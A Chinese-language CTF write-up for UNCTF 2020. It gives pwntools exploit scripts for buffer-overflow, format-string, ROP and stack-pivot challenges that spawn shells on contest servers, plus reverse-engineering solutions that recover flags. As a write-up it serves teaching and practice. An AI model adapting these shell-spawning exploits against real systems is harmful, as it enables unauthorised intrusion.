2020 UNCTF WP


PWN:

YLBNB:

先nc,提示用pwntool,寫個腳本

from pwn import *
io = remote('45.158.33.12', 8000)
io.interactive()

運行返回flag:UNCTF{Gu@rd_Th3_Bes7_YLB}

fan:

分析附件,就是個簡單的棧溢出,有個fantasy函數可以拿到shell

那么在read函數接收輸入的時候直接覆蓋返回地址為system函數即可。

在IDA中可以看到,buf距離EBP為0x30,但是這個是64位的程序,一個EBP占8bytes。

且fantasy函數地址為0x00400735,那么payload:

payload = 'a'(buf距離EBP) + 'a'*(EBP占占的字節) + p64(fantasy函數地址)

腳本如下:

from pwn import *
r = remote('node2.hackingfor.fun',48548)
system_addr=0x00400735
payload = 'a'*0x30 + 'a'*8 + p64(system_addr)
r.recvuntil('input your message\n')
r.sendline(payload)
r.interactive()

運行拿到shell,cat flag:UNCTF{6506126d-05e5-4e74-a84f-89dc109dc627}

do_you_like_me?:

和fan一樣是棧溢出

from pwn import *
r = remote('node2.hackingfor.fun',46506)
system_addr=0x004006CD
payload = 'a'*0x10 + 'a'*8 + p64(system_addr)
r.recvuntil('Give me your input : ')
r.sendline(payload)
r.interactive()

運行拿到shell,cat flag:UNCTF{e668c0b1-6cb6-4bcd-b0b2-ebd96e5818c0}

你真的會pwn嘛?:

一個簡單的格式化字符串溢出漏洞

DP8Qud.png

DP8uge.png

但是我在用fmtstr_payload時,輸出會被地址高位"\x00"字節截斷,可能是我太菜了。

DP8Rv4.png

改了一下腳本

from pwn import *
r = remote('node2.hackingfor.fun',40962)
r.recvuntil('Give me your input : ')
target_addr=0x0060107C
payload= 'AAAAA' + '%10c%12$hhn' + p64(target_addr)
#print payload
r.sendline(payload)
r.interactive()

運行運行拿到shell,cat flag:UNCTF{f19e34ea-c353-403e-9b47-7340960946b7}

原神

有兩種方法,第一種是ret2text,第二種是棧遷移。

ret2text

IDA反編譯后有很明顯的棧溢出漏洞。

程序中沒有“sh”,可以考慮構造bss段中3星的武器數量為26739,即“sh”的int值。只要抽到了這么多的3星武器,就能構造ROP,將該bss值當作參數傳入rdi中拿到shell。

雖然程序關閉了標准輸出流stdout,但是可以將標准輸出流重定向到 其它流上面,即cat flag > &2

from pwn import *

x64 = True
fp = './GenshinSimulator'
libc_file = ''
ip = ''
ports = 9999

io=process(fp)
elf=ELF(fp)

context.os = 'linux'
context.arch = 'amd64'

sd = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
ru = lambda x: io.recvuntil(x)
rl = lambda: io.recvline()
ra = lambda: io.recv()
rn = lambda x: io.recv(x)
sla = lambda x, y: io.sendlineafter(x, y)
iat = lambda: io.interactive()

num = 0
ret = 0x400d14
rdi_ret = 0x400d13
bss_sh = 0x602314

def bulidsh():
	global num
	while num<26729:
		ra()
		sl("2")
		ru('抽卡結果如下:\n')
    		data = ru('請選擇').split('\n')
		for i in data:
			if i[:10] == '\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85 ':	#a = "★★★ " print(a.encode()) 
				num+=1
	while num!=26739:
		ra()
		sl("1")
		ru('抽卡結果如下:\n')
    		data = ru('請選擇')
		if data[:10] == '\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85 ':	
				num+=1
	main()

def main():	
	ra()
	sl('3')
	ra()
	sl('1')
	ra()
	offset = 0x38
	payload = "a"*offset
	payload+=p64(ret)
	payload+=p64(rdi_ret)
	payload+=p64(bss_sh)
	payload+=p64(elf.plt['system'])
	sl(payload)

bulidsh()
iat()

棧遷移

雖然關閉了標准輸出流無法泄漏libc,但是程序中有read函數和system函數的地址,不用libc一樣可以棧遷移。

首先劫持控制流並遷移棧到bss段,這段沒有什么好說的,標准代碼操作。

#!/usr/bin/env python
#coding=utf-8
#__author__:b1ank
from pwn import *

fp = './GenshinSimulator'
libc_file = ''
ip = ''
ports = 9999

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

io=process(fp)
elf=ELF(fp)
system=elf.plt['system']

sd = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
ru = lambda x: io.recvuntil(x)
rl = lambda: io.recvline()
ra = lambda: io.recv()
rn = lambda x: io.recv(x)
sla = lambda x, y: io.sendlineafter(x, y)
iat = lambda: io.interactive()

ra()
sl('3')
ra()
sl('1')
rl()

bss_addr = elf.bss()
read_addr = 0x400C63
pop_rdi = 0x400d13
stack_size = 0x800
base_stage = bss_addr + stack_size
payload = 'a'*0x30 + p64(base_stage) + p64(read_addr)
sd(payload)
sleep(1)

到第二步,布置新的棧中參數。目前有兩個問題,一是不知道棧大小,二是不知道pop_rdi的目標地址偏移offset是多少。

棧大小可以用cyclic和gdb一起測出來。先用cyclic生成長度為100的字符串,再gdb調試看報錯字符。(注意要設置調試程序為父進程)

if args.G:
	gdb.attach(io)
payload='aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
sd(payload)
iat()

再用cyclic -l 0x6161616f 計算出棧長度為56。那么

payload = 'a'*56 + p64(pop_rdi) + p64(base_stage+offset) + p64(system) + b'/bin/sh\x00'

隨便填一個offset,gdb調試。發現'/bin/sh'字段在0x602b00處。那么offset就是0x602b00-base_stage(0x602ae0) = 0x20。

那么payload = 'a'*56 + p64(pop_rdi) + p64(base_stage+0x20) + p64(system) + b'/bin/sh\x00'

當然如果你頂級理解的話實際上寫成這種payload = 'a'*(56-8*i) + b'/bin/sh\x00' + 'a'*(8*(i-1))+ p64(pop_rdi) + p64(base_stage- 8*(i-1)) + p64(system)(i=1,2),也是可以的。

最終的exp如下

#!/usr/bin/env python
#coding=utf-8
#__author__:b1ank
from pwn import *

fp = './GenshinSimulator'
libc_file = ''
ip = ''
ports = 9999

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

io=process(fp)
elf=ELF(fp)
system=elf.plt['system']

sd = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
ru = lambda x: io.recvuntil(x)
rl = lambda: io.recvline()
ra = lambda: io.recv()
rn = lambda x: io.recv(x)
sla = lambda x, y: io.sendlineafter(x, y)
iat = lambda: io.interactive()

ra()
sl('3')
ra()
sl('1')
rl()

bss_addr = elf.bss()
read_addr = 0x400C63
pop_rdi = 0x400d13
stack_size = 0x800
base_stage = bss_addr + stack_size
payload = 'a'*0x30 + p64(base_stage) + p64(read_addr)
sd(payload)
sleep(1)
if args.G:
	gdb.attach(io)
#payload='aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
#print(hex(base_stage+0x20))
payload='a'*56 + p64(pop_rdi) + p64(base_stage+0x20) + p64(system) + b'/bin/sh\x00'
sd(payload)
iat()

RE

反編譯:

用 pyinstxtractor反編譯出struct和babypy,修復頭,用uncompyle6反編譯pyc可得源代碼,直接運行得flag

str2 = 'UMAQBvogWLDTWgX"""k'
flag = ''
for i in range(len(str2)):
    flag += chr(ord(str2[i]) + i)
print(flag)
#UNCTF{un_UN_ctf123}

re_checkin:

拖入DIE,為64。拖入ida64中定位到start函數,跟進到sub_401550,發現是一個簡單的對比。

跟進Str2,發現無數據,懷疑動態寫入。

轉到匯編發現sub_4015DC函數正是向Str2寫入數據的函數,處理一下即可得到flag

.text:00000000004015DC sub_4015DC      proc near               
.text:00000000004015DC arg_0           = qword ptr  10h
.text:00000000004015DC
.text:00000000004015DC                 push    rbp
.text:00000000004015DD                 mov     rbp, rsp
.text:00000000004015E0                 mov     [rbp+arg_0], rcx
.text:00000000004015E4                 mov     cs:Str2, 'u'
.text:00000000004015EB                 mov     cs:byte_42F041, 'n'
.text:00000000004015F2                 mov     cs:byte_42F042, 'c'
.text:00000000004015F9                 mov     cs:byte_42F043, 't'
.text:0000000000401600                 mov     cs:byte_42F044, 'f'
.text:0000000000401607                 mov     cs:byte_42F045, '{'
.text:000000000040160E                 mov     cs:byte_42F046, 'W'
.text:0000000000401615                 mov     cs:byte_42F047, 'e'
.text:000000000040161C                 mov     cs:byte_42F048, 'l'
.text:0000000000401623                 mov     cs:byte_42F049, 'c'
.text:000000000040162A                 mov     cs:byte_42F04A, 'o'
.text:0000000000401631                 mov     cs:byte_42F04B, 'm'
.text:0000000000401638                 mov     cs:byte_42F04C, 'e'
.text:000000000040163F                 mov     cs:byte_42F04D, 'T'
.text:0000000000401646                 mov     cs:byte_42F04E, 'o'
.text:000000000040164D                 mov     cs:byte_42F04F, 'U'
.text:0000000000401654                 mov     cs:byte_42F050, 'N'
.text:000000000040165B                 mov     cs:byte_42F051, 'C'
.text:0000000000401662                 mov     cs:byte_42F052, 'T'
.text:0000000000401669                 mov     cs:byte_42F053, 'F'
.text:0000000000401670                 mov     cs:byte_42F054, '}'
.text:0000000000401677                 mov     cs:byte_42F055, 0
.text:000000000040167E                 nop
.text:000000000040167F                 pop     rbp
.text:0000000000401680                 retn
.text:0000000000401680 sub_4015DC      endp

babypy:

用 pyinstxtractor反編譯出struct和babypy,修復頭,用uncompyle6反編譯pyc可得源代碼

import  libnum, binascii
flag = 'unctf{*******************}'
x = libnum.s2n(flag)

def gen(x):
    y = abs(x)
    while 1:
        if y > 0:
            yield y % 2
            y = y >> 1
    else:
        if x == 0:
            yield 0


l = [i for i in gen(x)]
l.reverse()
f = '%d' * len(l) % tuple(l)
a = binascii.b2a_hex(f.encode())
b = int(a, 16)
c = hex(b)[2:]
print(c)
os.system('pause')

感覺少了點東西,沒有next()函數,直接運行死循環。

分析過后可知是對flag先轉16進制,然后取余,移位。接着列表倒序,列表轉字符串,字符串轉hex,去0x得到tip.txt。

寫腳本爆破,即可得到flag

import libnum
a = '111010101101110011000110111010001100110011110110101010001101000010000000111010001011111011010010111001101011111011100100110010101100001001100010011000101111001010111110110001100110000001100000011000101111101'
b = 0
for i in a:
    if i == '1':
        b = b*2 +1
    else:
        b =b*2
f = libnum.n2s(b)
print(f)
#b'unctf{Th@t_is_rea11y_c001}'

easyMaze:

拖進ida64,定位到迷宮函數

while ( 1 )
  {
    v1 = *(char *)(v6 + v5);
    if ( v1 == 'd' )                            // 左
    {
      ++v4;
    }
    else if ( v1 > 'd' )
    {
      if ( v1 == 's' )                          // 下
      {
        ++v3;
      }
      else
      {
        if ( v1 != 'w' )                        // 上
          return 0i64;
        --v3;
      }
    }
    else
    {                                           // 右
      if ( v1 != 'a' )
        return 0i64;
      --v4;
    }
    if ( v4 < 0 || v3 < 0 || *((_BYTE *)Dst + 10 * v3 + v4) == 'D' || *((_BYTE *)Dst + 10 * v3 + v4) == '0' )
      return 0i64;
    if ( v4 > 9 || v3 > 9 )
      return 0i64;
    if ( *((_BYTE *)Dst + 10 * v3 + v4) == 'S' )
      break;
    if ( sub_4019F4() )
    {
      puts("I See YOU!");
      exit(2);
    }
    ++v5;
  }
  return 1i64;
}

但是搜字符串沒有迷宮,且主函數在獲取用戶輸入時,調用了個sub_401AC0()函數,懷疑程序是打開時初始化迷宮。

上x64dbg動調,斷點設在lea rcx, Str,即打印"Help Me Out!!!!!!!!"的地址。

可以觀察到有個地址寫入了這一串字符

"Oo00oD00SD0oooo0Doooo0D0oD0o00ooooo00o00oD0D0oooooo00o0o0o0ooDoooooDDDo00o00oooooD0D0000oDoooooooooD"

處理一下

Oo00oD00SD
0oooo0Dooo
o0D0oD0o00
ooooo00o00
oD0D0ooooo
o00o0o0o0o
oDoooooDDD
o00o00oooo
oD0D0000oD
oooooooooD

很明顯是從O開始,0為牆壁,o為路,S為中點。結合代碼可得flag:unctf{dsdddssaaaassssssddddddddwwaawawwddwwwdw}

ICU:

拖進ida,搜索字符串,有一個很明顯的base64變換表

DCUcYq.png

跟進引用函數

__int64 __fastcall sub_40180E(__int64 a1, int a2)
{
  int v3; // [rsp+24h] [rbp-1Ch]
  __int64 v4; // [rsp+28h] [rbp-18h]
  int v5; // [rsp+34h] [rbp-Ch]
  signed int j; // [rsp+38h] [rbp-8h]
  int i; // [rsp+3Ch] [rbp-4h]
  __int64 v8; // [rsp+50h] [rbp+10h]
  int v9; // [rsp+58h] [rbp+18h]

  v8 = a1;
  v9 = a2;
  v4 = sub_4A2840(5 * (a2 / 3));
  for ( i = 0; i < v9; i += 3 )
  {
    v3 = (*(unsigned __int8 *)(i + 1i64 + v8) << 8) | (*(unsigned __int8 *)(v8 + i) << 16) | *(unsigned __int8 *)(i + 2i64 + v8);
    for ( j = 0; j <= 3; ++j )
      *(_BYTE *)(4 * (i / 3) + j + v4) = aUyopef2ghvwx3a[(v3 >> (-6 * j + 18)) & 0x3F];
  }
  v5 = v9 / 3;
  if ( v9 % 3 == 1 )
  {
    *(_BYTE *)(v4 + 4 * v5 + 2i64) = aUyopef2ghvwx3a[64];
  }
  else if ( v9 % 3 != 2 )
  {
    goto LABEL_12;
  }
  *(_BYTE *)(v4 + 4 * v5++ + 3i64) = aUyopef2ghvwx3a[64];
LABEL_12:
  *(_BYTE *)(v4 + 4 * v5) = 0;
  return v4;
}

很明顯是base64的編碼操作,把他重命名為base64_change

但是看解出人數有點不對勁,應該沒有這么簡單。繼續跟進Please Input:,進入主函數,修改一下反編譯代碼

show(&unk_4A6920, "This file was complied by MingW\n");
show(&unk_4A6920, "enjoy\n");
show(&unk_4A6920, "Please Input:\n");
v0 = (void *)sub_4A2860(16i64);
sub_41F030(v0);
Memory = v0;
v1 = (void *)sub_4A2860(32i64);
sub_4908B0(v1);
v10 = v1;
v7 = 0;
sub_4A0FA0(&unk_4A65C0, v1);
LODWORD(v1) = sub_42A820(v1);
v2 = sub_42A840(v10);
Str = (char *)base64_change(v2, (unsigned int)v1);
v12 = 0;
v8 = strlen(Str);
while ( v12 < v8 )
{
  sub_41EEC0(Memory,&v7);
  Str[v12++] += v7;
}
if ( !memcmp(Str, "HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg9", 0x30ui64) )
  show(&unk_4A6920, "You Win,but you don't enjoy it,right?\n");
else
  show(&unk_4A6920, "You lose,Try again\n");

這大概意思就是,將用戶輸入進行一些操作然后,調用base64_change函數進行編碼。之后循環和v7做加法。

最后和HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg9比較。

這里處理v7的sub_41EEC0函數對於我這種re萌新是在是太過復雜,想了好久都還沒有思路。

但是我偶然看到傳入的v7是bool類型,想到可以爆破,上腳本。

import base64
a = 'HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg'
i = 0
flag1 =''
for b in a:
    if i%2 == 0:
        flag1 = flag1 + chr(ord(b) - 1)
    else: flag1 += b
    i = i+1
flag1 = flag1 +'='    
change1 = "UyOPef2ghvwx3ABdT7856QSijuCDFGst0LKER4ZabckHIJMNnopqrlmz1VWXY9+/"  # 非正常base64表
normal1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"  # 正常base64表
ture_key1= flag1.translate(str.maketrans(change1, normal1))
try:
    print(base64.b64decode(ture_key1))
except:
    print('Error')
    
i = 0
flag2 =''
for b in a:
    if i%2 != 0:
        flag2 = flag2 + chr(ord(b) - 1)
    else: flag2 += b
    i = i+1
flag2 = flag2 +'='    
change2 = "UyOPef2ghvwx3ABdT7856QSijuCDFGst0LKER4ZabckHIJMNnopqrlmz1VWXY9+/"  # 非正常base64表
normal2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"  # 正常base64表
ture_key2= flag2.translate(str.maketrans(change2, normal2))
try:
    print(base64.b64decode(ture_key2))
except:
    print('Error')
#b'unctf{we_remember_everything_YLBNB!'
#Error

但是不知道為啥少了個}。補上后得flag:unctf{we_remember_everything_YLBNB!}

ezRust:

拖進ida,搜索字符串,有個YLBNB,跟進其引用函數,反編譯有點問題

void sub_1400021E0()
{
  char *v0; // [rsp+A0h] [rbp+20h]
  char v1; // [rsp+A8h] [rbp+28h]
  __int64 v2; // [rsp+268h] [rbp+1E8h]

  v2 = -2i64;
  v0 = &v1;
  sub_14000B610(&v1);
  JUMPOUT(unk_14000220B);
}

結合程序運行結果,

Dp5Sud.png

手動修復一下,得到基本可以看的代碼

v3 = scanf_from_argv((__int64)&v13);
  sub_140001A00();
  if ( v3 == 3 )
  {
    sub_14000B610(v16);
    sub_140001E70((__int64)&v15, (__int64 *)v16);
    sub_140007280(&v21);
    sub_140007280(&v23);
    v18 = v22;
    v17 = v21;
    v20 = v24;
    v19 = v23;
    v5 = sub_140006C50(&v15, 1i64, &off_1400243E8);
    v6 = sub_140007380(v5);
    sub_1400072D0((__int64)&v17, v6, v7);
    v8 = sub_140006C50(&v15, 2i64, &off_140024400);
    v9 = sub_140007380(v8);
    sub_1400072D0((__int64)&v19, v9, v10);
    v12 = strcmp(&v17, &off_140024420);
    if ( v12 & 1 )
      v25 = strcmp(&v19, &off_140024440) & 1;
    else
      v25 = 0;
    if ( v25 & 1 )
    {
      printf2argv(v26, (__int64)&off_140024470, 1i64, (__int64)"src\\main.rs", 0i64); //off_140024470 = 'Success! Here is your flag:'
      sub_14000DB60(v26);
      sub_140001EF0(&v31);
      v30 = &v31;
      v33 = &v31;
      v28 = sub_140004A60(&v31, sub_140007330);
      v29 = v11;
      printf2argv(v27, (__int64)&off_140024488, 2i64, (__int64)&v28, 1i64);
      sub_14000DB60(v27);
      sub_140001A50(&v31);
    }
    else
    {
      printf2argv(v32, (__int64)&off_1400244B8, 1i64, (__int64)"src\\main.rs", 0i64);
      sub_14000DB60(v32);
    }
    sub_140001740(&v17);
    JUMPOUT(unk_140002516);
  }
  printf2argv(v14, (__int64)&off_1400243C8, 1i64, (__int64)"src\\main.rs", 0i64); //off_1400243C8 = 'ERROR Input!'
  sub_14000DB60(v14);
  return result;

大概意思就是輸入三行數據,取后兩行,和off_140024420中的數據以及off_140024440中的數據做對比,都相同就輸出flag。

跟進off_140024420和off_140024440,發現就是YLBNB和RUSTPROGRAMING。

試着運行,成功得到flag:

Dp42NV.png

unctf{Rust_more_safety_than_YLB's_Platform}

base_on_rust

拖入IDA64,查看字符串,疑似base編碼

D3aaW9.png

跟進引用函數

D3dU78.png

發現這里並沒有進行編碼,只是初始化了base64,base32和base16的表

跟進到輸入處理函數,根據base編碼特征修改反編譯代碼,可得

D30Pz9.png

提取出在off_140028AE8地址的字串RzQyVE1SSldHTTNUSU5SV0c1QkRNTVJXR0UzVEdOUlZHTTNER05CVklZM0RFTlJSRzRaVE1OSlRHTVpURU5LR0dZWkRNTUpYR00zREtNWlJHTTNES1JSV0dVM0VLTlJUR1pERE1OQldHVTJVTU5LR0dWRERPUkE9

解碼可得:unctf{base64_base32_base16_encode___}

Trap

拖入IDA64,跟進main函數

puts("Welcome To UNCTF2020_RE_WORLD !!!");
printf("Plz Input Key: ", a2);
__isoc99_scanf("%s", s1);
strcpy(dest, s1);
sub_400CBE();
if ( !strcmp(s1, s2) )
{
  puts("Success.");
  for ( i = 0; i <= 8479; ++i ){
    v3 = byte_6020E0[i];
    byte_6020E0[i] = s1[i % strlen(s1)] ^ v3;
  }
  s = fopen("/tmp/libunctf.so", "wb");
  fwrite(byte_6020E0, 1uLL, 0x2120uLL, s);
  getchar();
  handle = dlopen("/tmp/libunctf.so", 1)
  if ( !handle ){
    v5 = stderr;
    v6 = dlerror();
    fputs(v6, v5);
    exit(1);
  }
  v7 = (void (__fastcall *)(__int16 *, char *))dlsym(handle, "jo_enc");
  dlerror();
  v15 = 0;
  v16 = 0;
  v17 = 0;
  memset(&v18, 0, 0x28uLL);
  printf("plz Input Answer: ", "jo_enc", &v18);
  __isoc99_scanf("%s", &v15);
  v7(&v15, dest);
}
else{
  puts("Loser!!!");
}

大概意思是將處理后的輸入和已有字串做對比,運行的時候輸入正確的s1會異或解密整個動態鏈接庫文件,然后寫入文件並調用jo_enc函數對接下來的輸入以v15(第二次輸入的字串),dest(第一次輸入的字串)的順序進行調用檢查

首先將輸入與0x22異或, 然后創建了一個線程

v2 = strlen(s1);
for ( i = 0; i < v2; ++i )
  s1[i] ^= 0x22u;
pthread_create(&th, 0LL, (void *(*)(void *))start_routine, 0LL);
return pthread_join(th, 0LL);

接着調用sub_400BC0函數將s2與0x33異或並寫入文件

v3 = strlen(s2);
sub_400B76(v0);//反調試
for ( i = 0; ; ++i )
{
  result = i;
  if ((signed int)i >= v3 )
    break;
  s2[i] ^= 0x33u;
}
return result;

和調用sub_400C13函數對s1和s1長度做運算

for ( i = 0; ; ++i ){
  result = (unsigned int)i;
  if ( i >= v3 )
    break;
  sub_400C13(&s1[i], v3);
}

這里的sub_400C13有簡單的花指令,

DGQqAA.png

手動修復后其實就是個循環

__int64 __fastcall sub_400C13(_BYTE *a1, int a2)
{
  if ( !a2 )
    return 1LL;
  ++*a1;
  return sub_400C13(a1, (unsigned int)(a2 - 1));
}

那么腳本就很好寫了

s2=[26,23,18,23,17,44,124,27,46,45,125,124,125,46]
for i in s2:
    print(chr(((i^0x33)-len(s2))^0x22),end='')
#941463c8-2bcb-

將生成的libunctf.so拖入ida64分析jo_enc函數

__int64 __fastcall jo_enc(char *a1, char *a2)
{
  char *v2; // ST20_8
  size_t v3; // ST10_8
  int n; // [rsp+60h] [rbp-500h]
  int m; // [rsp+64h] [rbp-4FCh]
  int l; // [rsp+68h] [rbp-4F8h]
  int k; // [rsp+6Ch] [rbp-4F4h]
  int v9; // [rsp+70h] [rbp-4F0h]
  int j; // [rsp+74h] [rbp-4ECh]
  int v11; // [rsp+78h] [rbp-4E8h]
  signed int i; // [rsp+7Ch] [rbp-4E4h]
  int v13[48]; // [rsp+80h] [rbp-4E0h]
  int odd_number[128]; // [rsp+140h] [rbp-420h]
  int even_number[129]; // [rsp+340h] [rbp-220h]
  int v16; // [rsp+544h] [rbp-1Ch]
  char *input1; // [rsp+548h] [rbp-18h]
  char *input2; // [rsp+550h] [rbp-10h]

  input2 = a1;
  input1 = a2;
  v16 = 0;
  memset(even_number, 0, 0x200uLL);
  memset(odd_number, 0, 0x200uLL);
  memset(v13, 0, 0xC0uLL);
  for ( i = 0; i < 128; ++i )
  {
    even_number[i] = 2 * i;
    odd_number[i] = 2 * i + 1;
  }
  v11 = strlen(input2);
  for ( j = 0; j < v11; ++j )
  {
    v9 = input2[j];
    if ( !(v9 % 2) )
    {
      for ( k = 0; k < v9; k += 2 )
        v13[j] += even_number[k];
    }
    if ( v9 % 2 )
    {
      for ( l = 0; l < v9; l += 2 )
        v13[j] += odd_number[l];
    }
  }
  for ( m = 0; m < v11; ++m )
  {
    v2 = input1;
    v3 = strlen(input1);
    v13[m] = (16 * v2[m % v3] & 0xE827490C | ~(16 * v2[m % v3]) & 0x17D8B6F3) ^ (v13[m] & 0xE827490C | ~v13[m] & 0x17D8B6F3);
  }
  for ( n = 0; n < v11; ++n )
  {
    if ( v13[n] != *((_DWORD *)off_200FD8 + n) )
    {
      v16 = 0;
      exit(1);
    }
    ++v16;
  }
  if ( v16 == 22 )
    puts("Win , Flag is unctf{input1+input2}");
  return 0LL;
}

根據第一個輸入可得,v9(即第二個輸入的ascii碼)范圍在45~127,可以寫爆破腳本

cipher_lst = [1668, 1646, 1856, 4118, 1899, 1752, 640, 2000, 4412, 1835, 820, 984, 968, 1189, 4353, 1646, 4348, 4561, 1564,1566, 5596, 1525]
input1 = '941463c8-2bcb-'
input2 = ''
even_number = [i * 2 for i in range(128)]
odd_number = [i * 2 + 1 for i in range(128)]
cipher_ = [((16 * ord(input1[m % 14])) & 0xE827490C | (~(16 * ord(input1[m % 14])) & 0x17D8B6F3)) ^ (cipher_lst[m] & 0xE827490C | ~cipher_lst[m] & 0x17D8B6F3) for m in range(22)]
for a in cipher_:
    for n in range(45,127):
        j = 0
        if not n % 2:
            for i in range(0, n, 2):
                j += even_number[i]
        else:
            for i in range(0, n, 2):
                j += odd_number[i]
        if j == a:
            input2 += chr(n)
print('unctf{' + input1 + input2 + '}')

之后經過師傅的點撥,

原來 (str1 & random_hex1 | ~str1 & random_hex2) ^ (str2 & random_hex1 | ~str2 & random_hex2) 和 str1^str2是等價的

ezvm

根據初始信息修改主函數

int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
vm v5; // [rsp+20h] [rbp-28h] BYREF
sub_4025B0();
show();
init_stack(&v5);
branch(&v5);
v3 = 0i64;
while ( byte_404040[v3] == *(_BYTE *)(v5.input + v3) ){
  if ( ++v3 == 21 ){
    puts("wuhu flag is what you input");
    return 0;
  }
}
puts("wrong! maybe you are not a hacker !");
return 0;
}

init_stack中初始化三個寄存器,操作碼和輸入

*(_DWORD *)a1 = 0;
*(_DWORD *)(a1 + 4) = 0;
*(_DWORD *)(a1 + 8) = 0;
*(_QWORD *)(a1 + 16) = &unk_404080;
v2 = malloc(0x512ui64);
*(_QWORD *)(a1 + 24) = v2;

那么建個結構體
DBM6wq.png

數據類型根據儲存位置改變,首先滿足結構體各變量位置距離與初始化中的地址偏移相同。

跟進branch,根據快指數算法的優化代碼和加法邏輯代碼可得

while ( 2 )
{
  result = *v2;
  if ( (_BYTE)result != 0xF9 )
  {
LABEL_3:
    switch ( (char)result )
    {
      case 0xF0:                            // 對比
        v14 = v2[1];
        if ( a1->r2 == v14 )
          a1->r0 = 0;
        else
          a1->r0 = (a1->r2 >= v14) + 1;
        goto LABEL_12;
      case 0xF1:
        sub_4015A0(a1);                        
                  /* 2: a1->opcode = a1->opcode + 3 
                        5: a1->opcode = a1->opcode + 3
                           a1->r0 = a1->input[a1->r2]
                        6: a1->opcode = a1->opcode + 3
                           a1->r1 = a1->opcode[2]
                        7: a1->opcode = a1->opcode + 3
                           a1->r2 = a1->opcode[2]     */
        v2 = (unsigned __int8 *)a1->opcode;
        continue;
      case 0xF3:                              // add a1->r2 , v2[1]
        v8 = v2[1];
        v9 = a1->r2;
        if ( v2[1] )
        {
          do
          {
            v10 = v8;
            v11 = v9 & v8;
            v12 = v9 ^ v10;
            v13 = 2 * v11 == 0;
            v8 = 2 * v11;
            v9 = v12;
          }
          while ( !v13 );
          a1->r2 = v12;
        }
        else
        {
          a1->r2 = v9;
        }
        goto LABEL_12;
      case 0xF4:                             // 字符是否處理完成,是則調到F9結束循環,否則回到result = *v2繼續循環
        if ( a1->r0 == 1 )
        {
          v2 -= v2[1];
          a1->opcode = (__int64)v2;
        }
        else
        {
LABEL_12:
          v2 += 2;
          a1->opcode = (__int64)v2;
        }
        continue;
      case 0xF7:                              // 讀取21位字符存放在a1->input
        sub_401570(a1);
        v2 = (unsigned __int8 *)a1->opcode;
        continue;
      case 0xF8:                              // 快指數算法: pow(v4,7) mod 187 
        v4 = a1->r0;
        v5 = 3;
        v6 = 1i64;
        v7 = 7i64;
        do
        {
          if ( (v7 & 1) != 0 )
            v6 = v4 * v6 % 187;
          v7 >>= 1;
          --v5;
          v4 = v4 * v4 % 187;
        }
        while ( v5 );
        ++v2;
        a1->r0 = v6;
        a1->opcode = (__int64)v2;
        result = *v2;
        if ( (_BYTE)result != 0xF9 )          // 結束
          goto LABEL_3;
        return result;
      default:
        puts("fxxx me ?");
        v2 = (unsigned __int8 *)a1->opcode;
        continue;
    }
  }
  return result;
  }

若是做過密碼學的一眼就可以看出0xF8是個給定 c ,e,N的rsa加密。

為了方便理解,對rsa做個簡略的介紹。

  1. p 和 q:兩個大的質數,是另一個參數N的的兩個因子
  2. N:大整數,可以稱之為模數
  3. c 和 m:密文和明文
  4. e 和 d:互反數滿足 e*d mod 160 = 1
  5. pow(x, y, z):效果等效 pow(x, y) % z。
  6. 對明文m進行加密:c = pow(m, e, N),可以得到密文c
    對密文c進行解密:m = pow(c, d, N),可以得到明文m

百度一下就可知7的互反數為23,即7*23 mod 160 = 161 mod 160 = 1

純動態:

動調一下看加密情況

輸入21個字符1

加密完成后發現是每隔兩位加密

debug024:00000000001E1550 db  19h
debug024:00000000001E1551 db  31h ; 1
debug024:00000000001E1552 db  19h
debug024:00000000001E1553 db  31h ; 1
debug024:00000000001E1554 db  19h
debug024:00000000001E1555 db  31h ; 1
debug024:00000000001E1556 db  19h
debug024:00000000001E1557 db  31h ; 1
debug024:00000000001E1558 db  19h
debug024:00000000001E1559 db  31h ; 1
debug024:00000000001E155A db  19h
debug024:00000000001E155B db  31h ; 1
debug024:00000000001E155C db  19h
debug024:00000000001E155D db  31h ; 1
debug024:00000000001E155E db  19h
debug024:00000000001E155F db  31h ; 1
debug024:00000000001E1560 db  19h
debug024:00000000001E1561 db  31h ; 1
debug024:00000000001E1562 db  19h
debug024:00000000001E1563 db  31h ; 1

猜一下只進行了rsa,寫個腳本

a=[150,48,144,106,159,54,39,116,179,49,157,95,142,95,17,97,157,121,39,118,131]
b=''
for i in range(21):
    if i%2 == 0:
        b += chr(pow(a[i],23,187))
    else:
        b += chr(a[i])
print(b)
#90dj06_th1s_A_3asy_vm

成功得到flag

動態加靜態:

動調得到指令調用順序:

0xF7->0xF1(6,3)->0xF1(7,0)->0xF1(5,0)->0xF8->0xF1(2,0)->0xF0(0x14)->0xF3(2)->0xF4(0xB)循環到字符讀取完成->0xF9

根據上面的分析可得匯編偽代碼

read a1->input
mov a1->r1 , 3
mov a1->r2 , 0   // input索引
loop:
mov a1->r0 , a1->input[a1->r2]
mov a1->r0 , pow(a1->r0,7) mod 187
mov a1->input[r2] , a1->r0
if a1->r2 = 0x14 (20)
   mov a1->r0 , 0
else:
   mov a1->r0 , bool(a1->r2 > v14) + 1  ;if a1->r2 > 0x14 mov a1->r0 , 1    else: mov a1->r0 , 2
add a1->r2 , 2   //隔兩位加密
if  a1->r0 == 1 
	mov a1->opcode , *(&a1->opcode - 0xB) ;指向0xF1(5,0),等價goto loop
else:
	mov a1->opcode , 2 //指向0xF9
cmp  encrypt , input

還看不懂的可以看偽c

char input;
